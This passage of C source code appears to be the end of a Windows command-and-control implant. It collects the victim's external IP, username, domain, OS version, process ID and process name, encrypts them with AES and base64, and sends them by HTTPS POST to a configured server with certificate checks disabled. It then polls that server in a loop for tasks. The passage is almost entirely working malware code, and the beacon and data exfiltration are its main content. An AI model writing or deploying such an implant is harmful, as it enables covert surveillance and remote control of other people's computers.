341 | if (EnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) 342 | { 343 | GetModuleBaseNameA(hProcess, hMod, process_name, size); 344 | } 345 | CloseHandle(hProcess); 346 | return TRUE; 347 | } 348 | 349 | void escape_json_string(const char *input, char *output, size_t output_size) 350 | { 351 | const char *src = input; 352 | char *dest = output; 353 | size_t remaining = output_size - 1; // Reserve space for null-terminator 354 | 355 | while (*src && remaining > 0) 356 | { 357 | if (*src == '\\' || *src == '"') 358 | { 359 | if (remaining < 2) 360 | break; // Need 2 characters for escape sequence 361 | *dest++ = '\\'; // Add escape character 362 | remaining--; 363 | } 364 | *dest++ = *src++; 365 | remaining--; 366 | } 367 | *dest = '\0'; // Null-terminate the string 368 | } 369 | 370 | // Function to send HTTP POST request with encrypted and base64-encoded data 371 | BOOL SendPOST(const wchar_t *server, int port, const wchar_t *path, const char *data, const char *session, char *response, DWORD response_size) { 372 | HINTERNET hSession, hConnect, hRequest; 373 | BOOL result = FALSE; 374 | DWORD dwError = 0; 375 | DWORD dwSize = 0, dwDownloaded = 0; 376 | LPSTR pszOutBuffer = NULL; 377 | 378 | hSession = WinHttpOpen(L"WinHTTP Example/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); 379 | if (!hSession) { 380 | dwError = GetLastError(); 381 | return FALSE; 382 | } 383 | 384 | hConnect = WinHttpConnect(hSession, server, port, 0); 385 | if (!hConnect) { 386 | WinHttpCloseHandle(hSession); 387 | return FALSE; 388 | } 389 | 390 | hRequest = WinHttpOpenRequest(hConnect, L"POST", path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE); 391 | if (!hRequest) { 392 | WinHttpCloseHandle(hConnect); 393 | WinHttpCloseHandle(hSession); 394 | return FALSE; 395 | } 396 | 397 | DWORD dwOptions = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; 398 | WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwOptions, sizeof(dwOptions)); 399 | 400 | wchar_t headers[512]; 401 | swprintf(headers, sizeof(headers) / sizeof(wchar_t), L"X-Unique-Identifier: %hs\r\nContent-Type: text/plain", session); 402 | 403 | if (!WinHttpAddRequestHeaders(hRequest, headers, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD)) { 404 | WinHttpCloseHandle(hRequest); 405 | WinHttpCloseHandle(hConnect); 406 | WinHttpCloseHandle(hSession); 407 | return FALSE; 408 | } 409 | 410 | if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, (LPVOID)data, (DWORD)strlen(data), (DWORD)strlen(data), 0)) { 411 | WinHttpCloseHandle(hRequest); 412 | WinHttpCloseHandle(hConnect); 413 | WinHttpCloseHandle(hSession); 414 | return FALSE; 415 | } 416 | 417 | if (!WinHttpReceiveResponse(hRequest, NULL)) { 418 | WinHttpCloseHandle(hRequest); 419 | WinHttpCloseHandle(hConnect); 420 | WinHttpCloseHandle(hSession); 421 | return FALSE; 422 | } 423 | 424 | do { 425 | if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) break; 426 | 427 | pszOutBuffer = (LPSTR)malloc(dwSize + 1); 428 | if (!pszOutBuffer) break; 429 | 430 | ZeroMemory(pszOutBuffer, dwSize + 1); 431 | if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) break; 432 | 433 | if (dwDownloaded > 0 && (strlen(response) + dwDownloaded < response_size)) { 434 | strncat_s(response, response_size, pszOutBuffer, dwDownloaded); 435 | } 436 | 437 | free(pszOutBuffer); 438 | } while (dwSize > 0); 439 | 440 | result = TRUE; 441 | WinHttpCloseHandle(hRequest); 442 | WinHttpCloseHandle(hConnect); 443 | WinHttpCloseHandle(hSession); 444 | 445 | return result; 446 | } 447 | 448 | // Main function 449 | int main() { 450 | ImpInfo info; 451 | char token[256] = {0}; 452 | BYTE iv[16] = {0}; 453 | BYTE *aes_key = NULL; 454 | DWORD aes_key_len = 0; 455 | 456 | if (!Base64UrlDecode(AES_KEY_BASE64, &aes_key, &aes_key_len) || aes_key_len != 32) { 457 | printf("Failed to decode AES key.\n"); 458 | return 1; 459 | } 460 | 461 | // Gather system information 462 | strncpy_s(info.session, sizeof(info.session), SESSION, _TRUNCATE); 463 | GetExternalIP(info.ip, sizeof(info.ip)); 464 | GetUsername(info.username, sizeof(info.username)); 465 | GetDomain(info.domain, sizeof(info.domain)); 466 | GetOSVersion(info.os_version, sizeof(info.os_version)); 467 | GetPID(info.imp_pid, sizeof(info.imp_pid)); 468 | GetProcessName(info.process_name, sizeof(info.process_name)); 469 | snprintf(info.sleep_time, sizeof(info.sleep_time), "%d", 2); 470 | 471 | printf("Initialized ImpInfo: {\"session\": \"%s\", \"ip\": \"%s\", \"username\": \"%s\", \"domain\": \"%s\", \"os\": \"%s\", \"imp_pid\": \"%s\", \"process_name\": \"%s\", \"sleep\": \"%s\"}\n", 472 | info.session, info.ip, info.username, info.domain, info.os_version, info.imp_pid, info.process_name, info.sleep_time); 473 | 474 | // First check-in to retrieve the session token 475 | char response[BUFFER_SIZE] = {0}; 476 | char request_body[BUFFER_SIZE] = {0}; 477 | BYTE encrypted_data[BUFFER_SIZE] = {0}; 478 | DWORD encrypted_data_len = sizeof(encrypted_data); 479 | 480 | char escaped_username[512] = {0}; 481 | escape_json_string(info.username, escaped_username, sizeof(escaped_username)); 482 | 483 | snprintf(request_body, BUFFER_SIZE, "{\"session\":\"%s\", \"ip\":\"%s\", \"username\":\"%s\", \"domain\":\"%s\", \"os\":\"%s\", \"imp_pid\":\"%s\", \"process_name\":\"%s\", \"sleep\":\"%s\"}", 484 | info.session, info.ip, escaped_username, info.domain, info.os_version, info.imp_pid, info.process_name, info.sleep_time); 485 | 486 | if (!AES256Encrypt(aes_key, (BYTE *)request_body, strlen(request_body), iv, encrypted_data, &encrypted_data_len)) { 487 | printf("Failed to encrypt data.\n"); 488 | free(aes_key); 489 | return 1; 490 | } 491 | 492 | char base64_encoded_data[BUFFER_SIZE] = {0}; 493 | if (!Base64UrlEncode(encrypted_data, encrypted_data_len, base64_encoded_data, sizeof(base64_encoded_data))) { 494 | printf("Failed to Base64 encode data.\n"); 495 | free(aes_key); 496 | return 1; 497 | } 498 | 499 | if (!SendPOST(SERVER, PORT, L"/js", base64_encoded_data, info.session, response, sizeof(response))) { 500 | printf("Failed to send check-in.\n"); 501 | Sleep(2000); 502 | return 1; 503 | } 504 | 505 | printf("Received session token: %s\n", response); 506 | strncpy_s(token, sizeof(token), response, _TRUNCATE); 507 | 508 | // Use session token for task requests 509 | while (1) { 510 | char task_response[BUFFER_SIZE] = {0}; 511 | char sleep_payload[256] = "{\"sleep\":\"2\"}"; 512 | 513 | if (!AES256Encrypt(aes_key, (BYTE *)sleep_payload, strlen(sleep_payload), iv, encrypted_data, &encrypted_data_len)) { 514 | printf("Failed to encrypt sleep payload.\n"); 515 | break; 516 | } 517 | 518 | if (!Base64UrlEncode(encrypted_data, encrypted_data_len, base64_encoded_data, sizeof(base64_encoded_data))) { 519 | printf("Failed to Base64 encode sleep payload.\n"); 520 | break; 521 | } 522 | 523 | if (!SendPOST(SERVER, PORT, L"/index", base64_encoded_data, token, task_response, sizeof(task_response))) { 524 | printf("Failed to retrieve tasks.\n"); 525 | Sleep(2000); 526 | continue; 527 | } 528 | 529 | printf("Received tasks: %s\n", task_response); 530 | 531 | Sleep(2000); 532 | } 533 | 534 | free(aes_key); 535 | return 0; 536 | } --------------------------------------------------------------------------------